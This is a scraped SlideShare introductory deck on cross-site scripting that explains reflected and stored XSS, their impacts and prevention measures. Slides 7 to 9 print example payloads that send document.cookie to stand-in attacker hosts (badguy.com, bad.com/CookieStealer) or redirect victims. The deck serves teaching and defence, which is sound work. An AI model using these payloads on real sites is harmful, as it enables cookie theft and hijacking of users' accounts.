SlideShare a Scribd company logo
Cross-site
scripting
OVERVIEW
 CROSS-SITE SCRIPTING
 XSS (-ve) effects
 Cross Site Scripting Types

 Who is affected by XSS?
 Impact of XSS-Attacks
 Summary
12/15/2013

2
CROSS-SITE SCRIPTING (XSS)


Cross-site scripting or XSS is a defined as a
computer security vulnerability (weakness) found in
web applications.



XSS allows for code injection by malicious web users
into Internet pages viewed by other users.



In an XSS attack, the attacker gains the ability to see
private user IDs, passwords, credit card information
and other personal identification.
12/15/2013

3
XSS (-ve) effects
stealing other user’s cookies
 stealing their private information
 performing actions on behalf of other users
 redirecting to other websites
 Showing ads in hidden IFRAMES and popups


12/15/2013

4
Cross Site Scripting Types
Two known types:
 Reflected (Non-Persistent)
• Link in other website or email


12/15/2013

Stored (Persistent)
• Forum, bulletin board, feedback form
5
Reflected (Non-persistent)…
The Reflected Cross-Site Scripting vulnerability is by far the most common
and well-known type. These holes show up when data provided by a web client is
used immediately by server-side scripts to generate a page of results for that
user. If unvalidated user-supplied data is included in the resulting page without
HTML encoding, this will allow client-side code to be injected into the dynamic
page. A classic example of this is in site search engines: if one searches for a
string which includes some HTML special characters, often the search string
will be redisplayed on the result page to indicate what was searched for, or will
at least include the search terms in the text box for easier editing. If all
occurrences of the search terms are not HTML entity encoded, an XSS hole will
result.
12/15/2013

6
1
Send e-mail with <script> tags embedded in
the link.

http://mybank.com/
account.php?variable=”><script>document.lo
cation=’http://www.badguy.com/cgi-bin/
cookie.cgi’”%20+document.cookie</script>

Follows link and the script executes

2
www.badguy.com
Cookie collector

Malicious content dose not get stored in the server
The server bounces the original input to the victim without modification
12/15/2013

7
stored (persistent)….
In persistent type of XSS attack, XSS code gets saved into persistent storage like
database with other data and then it is visible to other users also. One example of this kind
of attacks is possible blog websites, where hacker can add their XSS code along with the
comment text and if no validation or filtering is present on the server, XSS code can
successfully saved into the database. After this if anyone (other users) open the page into
their browsers, XSS code can execute and can perform a variety of harmful actions. This
type of attack is more vulnerable, because Hacker can steal cookies and can make
modifications in the page. The risk with these kinds of attacks is any third party hacker can
use this vulnerability to perform some actions on behalf of other users.
see original post<script>window.location =
"http://www.hackers.com?yid=";</script>
12/15/2013

8
Public forum web site

1

Great message!
<script>
var img=new Image();
img.src=
"http://www.bad.com/CookieStealer/
Form1.aspx?s= "+document.cookie;
</script>

2

Downlaod
malicious code

Upload malicious scripting commands to
the public forum

Browse

Attacker

3

Victim

The server stores the malicious content
The server serves the malicious content in its original form
12/15/2013

9
Who is affected by XSS?
 XSS attack’s first target is the Client
Client trusts server (Does not expect attack)
Browser executes malicious script
 But second target = Company running the Server
Loss of public image (Blame)
Loss of customer trust
Loss of money
12/15/2013

10
Impact of XSS-Attacks
Access to authentication credentials for Web application
 Cookies, Username and Password
 Normal users
Access to personal data (Credit card, Bank Account)
Access to business data (Bid details, construction details)
Misuse account (order expensive goods)
 High privileged users
Control over Web application
Control/Access: Web server machine
Control/Access: Backend / Database systems
12/15/2013

11
 Clint side
•Cookie Security
•Verify email
•Always update
 Server side
•Input validation (Black listing VS White listing)
•Encode all meta characters send to the client
•keep track of user sessions
•Web application firewall
•Always test
12/15/2013

12
Summary
 Cross-Site Scripting is extremly dangerous
 Identity theft, Impersonation
 Cause: Missing or in-sufficient input validation
 XSS-Prevention Best Practices
 Implement XSS-Prevention in application
 Do not trust client side validation
 Check and validate all input before processing
 Do not echo any input value without validation
12/15/2013

13





http://www.acunetix.com
http://en.wikipedia.org/wiki/Crosssite_scriptinghttp://www.google.com
http://www.google.com
XSS Attacks: Cross Site Scripting Exploits and
Defense :-Seth Fogie (Author), Jeremiah
Grossman (Author)
12/15/2013

15

More Related Content

PDF
CSS - Adding Background Images
PPTX
Cross site scripting (xss)
PPT
Sql injection
PPTX
Web application attacks
PPTX
Vulnerabilities in modern web applications
PPTX
SQL INJECTION
CSS - Adding Background Images
Cross site scripting (xss)
Sql injection
Web application attacks
Vulnerabilities in modern web applications
SQL INJECTION

What's hot (20)

PPTX
Replication in Distributed Systems
PDF
Web Application Penetration Testing
PDF
Sql Injection - Vulnerability and Security
PPTX
SQL Injections - A Powerpoint Presentation
PPT
Malware Analysis Made Simple
PPTX
Presentations on web database
PDF
Database security issues
PPTX
Cross Site Scripting ( XSS)
PPTX
Data Acquisition
PPT
data hiding techniques.ppt
PPT
Chapter 6 os
PDF
Database forensics
PDF
Ch 1: Web Application (In)security & Ch 2: Core Defense Mechanisms
DOCX
VIRTUALIZATION STRUCTURES TOOLS.docx
PPTX
Database Security, Threats & Countermeasures.pptx
PDF
03 Data Recovery - Notes
PPT
Application Security
PPTX
SSRF For Bug Bounties
PPTX
Virus and Worms
Replication in Distributed Systems
Web Application Penetration Testing
Sql Injection - Vulnerability and Security
SQL Injections - A Powerpoint Presentation
Malware Analysis Made Simple
Presentations on web database
Database security issues
Cross Site Scripting ( XSS)
Data Acquisition
data hiding techniques.ppt
Chapter 6 os
Database forensics
Ch 1: Web Application (In)security & Ch 2: Core Defense Mechanisms
VIRTUALIZATION STRUCTURES TOOLS.docx
Database Security, Threats & Countermeasures.pptx
03 Data Recovery - Notes
Application Security
SSRF For Bug Bounties
Virus and Worms
Ad

Viewers also liked (13)

PPTX
Cross site scripting
PDF
XSS Injection Vulnerabilities
PPTX
Cross Site Scripting(XSS)
PDF
Cross site scripting
PPTX
Cross-Site Scripting (XSS)
PPTX
Reflective and Stored XSS- Cross Site Scripting
PDF
Cross site scripting attacks and defenses
PPTX
Cross Site Scripting - Web Defacement Techniques
PPTX
Cross Site Scripting (XSS)
PPTX
Cross Site Scripting Defense Presentation
PPTX
What is xss, blind xss and xploiting google gadgets
PPTX
Cross site scripting
PPTX
Xss (cross site scripting)
Cross site scripting
XSS Injection Vulnerabilities
Cross Site Scripting(XSS)
Cross site scripting
Cross-Site Scripting (XSS)
Reflective and Stored XSS- Cross Site Scripting
Cross site scripting attacks and defenses
Cross Site Scripting - Web Defacement Techniques
Cross Site Scripting (XSS)
Cross Site Scripting Defense Presentation
What is xss, blind xss and xploiting google gadgets
Cross site scripting
Xss (cross site scripting)
Ad

Similar to Xss (20)

PPTX
Cross Site Scripting
PPTX
Cross site scripting
PDF
The Cross Site Scripting Guide
PPTX
Xss attack
PPTX
XSeyeyeyeyeyeyeyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeS.pptx
PDF
XSS.pdf
PDF
XSS.pdf
PDF
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
PDF
Complete xss walkthrough
PPTX
STORED XSS IN DVWA
PPTX
Identifying XSS Vulnerabilities
PPTX
Cross site scripting XSS
PDF
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)
KEY
Cross Site Scripting - Mozilla Security Learning Center
PPTX
Xss_Hritwik_Roy.pptx@kjfbbwefhjoiqrw[i0-3envnvig87trhgohiulefvonvrivfgkmlghoi...
PPTX
Cm7 secure code_training_1day_xss
PDF
Introduction to Cross Site Scripting ( XSS )
PPTX
Cross Site Scripting (XSS)
PDF
xss-100908063522-phpapp02.pdf
Cross Site Scripting
Cross site scripting
The Cross Site Scripting Guide
Xss attack
XSeyeyeyeyeyeyeyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeS.pptx
XSS.pdf
XSS.pdf
IRJET- A Survey on Various Cross-Site Scripting Attacks and Few Prevention Ap...
Complete xss walkthrough
STORED XSS IN DVWA
Identifying XSS Vulnerabilities
Cross site scripting XSS
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)
Cross Site Scripting - Mozilla Security Learning Center
Xss_Hritwik_Roy.pptx@kjfbbwefhjoiqrw[i0-3envnvig87trhgohiulefvonvrivfgkmlghoi...
Cm7 secure code_training_1day_xss
Introduction to Cross Site Scripting ( XSS )
Cross Site Scripting (XSS)
xss-100908063522-phpapp02.pdf

Recently uploaded (20)

PDF
3rd Neelam Sanjeevareddy Memorial Lecture.pdf
PDF
Saundersa Comprehensive Review for the NCLEX-RN Examination.pdf
PPTX
PPH.pptx obstetrics and gynecology in nursing
PPTX
Pharma ospi slides which help in ospi learning
PDF
Basic Mud Logging Guide for educational purpose
PDF
Microbial disease of the cardiovascular and lymphatic systems
PPTX
Pharmacology of Heart Failure /Pharmacotherapy of CHF
PDF
VCE English Exam - Section C Student Revision Booklet
PPTX
human mycosis Human fungal infections are called human mycosis..pptx
PPTX
Introduction to Child Health Nursing – Unit I | Child Health Nursing I | B.Sc...
PDF
ANTIBIOTICS.pptx.pdf………………… xxxxxxxxxxxxx
PPTX
PPT- ENG7_QUARTER1_LESSON1_WEEK1. IMAGERY -DESCRIPTIONS pptx.pptx
PDF
102 student loan defaulters named and shamed – Is someone you know on the list?
PDF
Origin of periodic table-Mendeleev’s Periodic-Modern Periodic table
PDF
BÀI TẬP BỔ TRỢ 4 KỸ NĂNG TIẾNG ANH 9 GLOBAL SUCCESS - CẢ NĂM - BÁM SÁT FORM Đ...
PPTX
IMMUNITY IMMUNITY refers to protection against infection, and the immune syst...
PDF
Mark Klimek Lecture Notes_240423 revision books _173037.pdf
PDF
STATICS OF THE RIGID BODIES Hibbelers.pdf
PDF
2.FourierTransform-ShortQuestionswithAnswers.pdf
PDF
Supply Chain Operations Speaking Notes -ICLT Program
3rd Neelam Sanjeevareddy Memorial Lecture.pdf
Saundersa Comprehensive Review for the NCLEX-RN Examination.pdf
PPH.pptx obstetrics and gynecology in nursing
Pharma ospi slides which help in ospi learning
Basic Mud Logging Guide for educational purpose
Microbial disease of the cardiovascular and lymphatic systems
Pharmacology of Heart Failure /Pharmacotherapy of CHF
VCE English Exam - Section C Student Revision Booklet
human mycosis Human fungal infections are called human mycosis..pptx
Introduction to Child Health Nursing – Unit I | Child Health Nursing I | B.Sc...
ANTIBIOTICS.pptx.pdf………………… xxxxxxxxxxxxx
PPT- ENG7_QUARTER1_LESSON1_WEEK1. IMAGERY -DESCRIPTIONS pptx.pptx
102 student loan defaulters named and shamed – Is someone you know on the list?
Origin of periodic table-Mendeleev’s Periodic-Modern Periodic table
BÀI TẬP BỔ TRỢ 4 KỸ NĂNG TIẾNG ANH 9 GLOBAL SUCCESS - CẢ NĂM - BÁM SÁT FORM Đ...
IMMUNITY IMMUNITY refers to protection against infection, and the immune syst...
Mark Klimek Lecture Notes_240423 revision books _173037.pdf
STATICS OF THE RIGID BODIES Hibbelers.pdf
2.FourierTransform-ShortQuestionswithAnswers.pdf
Supply Chain Operations Speaking Notes -ICLT Program

Xss

  • 2. OVERVIEW  CROSS-SITE SCRIPTING  XSS (-ve) effects  Cross Site Scripting Types  Who is affected by XSS?  Impact of XSS-Attacks  Summary 12/15/2013 2
  • 3. CROSS-SITE SCRIPTING (XSS)  Cross-site scripting or XSS is a defined as a computer security vulnerability (weakness) found in web applications.  XSS allows for code injection by malicious web users into Internet pages viewed by other users.  In an XSS attack, the attacker gains the ability to see private user IDs, passwords, credit card information and other personal identification. 12/15/2013 3
  • 4. XSS (-ve) effects stealing other user’s cookies  stealing their private information  performing actions on behalf of other users  redirecting to other websites  Showing ads in hidden IFRAMES and popups  12/15/2013 4
  • 5. Cross Site Scripting Types Two known types:  Reflected (Non-Persistent) • Link in other website or email  12/15/2013 Stored (Persistent) • Forum, bulletin board, feedback form 5
  • 6. Reflected (Non-persistent)… The Reflected Cross-Site Scripting vulnerability is by far the most common and well-known type. These holes show up when data provided by a web client is used immediately by server-side scripts to generate a page of results for that user. If unvalidated user-supplied data is included in the resulting page without HTML encoding, this will allow client-side code to be injected into the dynamic page. A classic example of this is in site search engines: if one searches for a string which includes some HTML special characters, often the search string will be redisplayed on the result page to indicate what was searched for, or will at least include the search terms in the text box for easier editing. If all occurrences of the search terms are not HTML entity encoded, an XSS hole will result. 12/15/2013 6
  • 7. 1 Send e-mail with <script> tags embedded in the link. http://mybank.com/ account.php?variable=”><script>document.lo cation=’http://www.badguy.com/cgi-bin/ cookie.cgi’”%20+document.cookie</script> Follows link and the script executes 2 www.badguy.com Cookie collector Malicious content dose not get stored in the server The server bounces the original input to the victim without modification 12/15/2013 7
  • 8. stored (persistent)…. In persistent type of XSS attack, XSS code gets saved into persistent storage like database with other data and then it is visible to other users also. One example of this kind of attacks is possible blog websites, where hacker can add their XSS code along with the comment text and if no validation or filtering is present on the server, XSS code can successfully saved into the database. After this if anyone (other users) open the page into their browsers, XSS code can execute and can perform a variety of harmful actions. This type of attack is more vulnerable, because Hacker can steal cookies and can make modifications in the page. The risk with these kinds of attacks is any third party hacker can use this vulnerability to perform some actions on behalf of other users. see original post<script>window.location = "http://www.hackers.com?yid=";</script> 12/15/2013 8
  • 9. Public forum web site 1 Great message! <script> var img=new Image(); img.src= "http://www.bad.com/CookieStealer/ Form1.aspx?s= "+document.cookie; </script> 2 Downlaod malicious code Upload malicious scripting commands to the public forum Browse Attacker 3 Victim The server stores the malicious content The server serves the malicious content in its original form 12/15/2013 9
  • 10. Who is affected by XSS?  XSS attack’s first target is the Client Client trusts server (Does not expect attack) Browser executes malicious script  But second target = Company running the Server Loss of public image (Blame) Loss of customer trust Loss of money 12/15/2013 10
  • 11. Impact of XSS-Attacks Access to authentication credentials for Web application  Cookies, Username and Password  Normal users Access to personal data (Credit card, Bank Account) Access to business data (Bid details, construction details) Misuse account (order expensive goods)  High privileged users Control over Web application Control/Access: Web server machine Control/Access: Backend / Database systems 12/15/2013 11
  • 12.  Clint side •Cookie Security •Verify email •Always update  Server side •Input validation (Black listing VS White listing) •Encode all meta characters send to the client •keep track of user sessions •Web application firewall •Always test 12/15/2013 12
  • 13. Summary  Cross-Site Scripting is extremly dangerous  Identity theft, Impersonation  Cause: Missing or in-sufficient input validation  XSS-Prevention Best Practices  Implement XSS-Prevention in application  Do not trust client side validation  Check and validate all input before processing  Do not echo any input value without validation 12/15/2013 13